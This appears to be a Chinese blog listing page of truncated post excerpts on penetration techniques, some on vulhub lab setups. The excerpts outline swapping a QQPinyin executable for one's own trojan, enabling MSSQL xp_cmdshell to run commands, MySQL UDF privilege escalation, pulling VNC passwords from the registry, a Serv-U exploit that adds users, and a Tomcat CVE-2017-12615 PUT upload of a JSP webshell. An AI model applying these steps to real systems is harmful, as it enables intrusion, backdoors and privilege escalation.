qq_44881113的博客

常见的提交方式：GET ,POST,REQUEST下面是演示脚本g代表GET方法的参数p代表POST方法的参数c代表COOKIE的参数r代表REQUEST的参数s代表SERVER的参数<?php$get = $_GET['g'];//接受参数名g的值并赋值给变量getecho $get; //输出变量名g的数据$post = $_POST['p']; //接受参数名p的值并赋值给变量postecho $post ;//输出变量post$c = $_COOKIE['c

1替换qq拼音里面的QQPYUserCenter.exe2替换成自己的马然后它自己就上线了

1找到mssql的配置文件，拿到密码，【数据库权限需要sa】2连接进入数据库我们需要将xp_cmdshell打开【默认是关闭的】Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')3执行命令exec master.dbo.xp_cmdshell 'whoami'...

udf利用udf提权UDF为User Defined Function用户自定义函数，也就是支持用户自定义函数的功能。这里的自定义函数要以dll形式写成mysql的插件，提供给mysql来使用。也就是说我们可以通过编写dll文件来实现我们需要的功能，利用UDF提权需要知道root账户的密码文件末为.so，则为linux系统，如果是win，则后缀为dll开始提权1根据数据库版本选择上传udf.dll的位置select version(); #查看版本如果版本号大于5.1.4 上传

1查看进程发现有vnc【我们可以在注册表里面找到vnc的密码】tasklist /svc2在注册表里面找到密码3使用工具破解加密过的密码4最后使用vnc连接

1查看系统进程tasklist /svc根据进程查看杀软 网址https://www.ddosi.com/av/1.php2根据serv-u的pid值查看端口netstat -ano | findstr 10720 #根据pid找到端口号3找到serv-u的版本号【低版本都有漏洞 】根据版本查找漏洞4使用exp添加用户查看用户net user添加成功...

1环境【github中的vulhub】https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-126152打开网址 http://your ip:8080用脚本扫描发现有CVE-2017-12615漏洞3使用burpsuite抓包然后构造包上传【PUT /1.jsp/ HTTP/1.1 】shell代码<%@ page language="java" import="java.util.*,java.io.*

1 环境github：https://github.com/vulhub/vulhub/tree/master/tomcat搭建环境在 Ubuntu 20.04 上安装 docker/docker-compose：# Install pipcurl -s https://bootstrap.pypa.io/get-pip.py | python3# Install the latest version dockercurl -s https://get.docker.com/ | sh#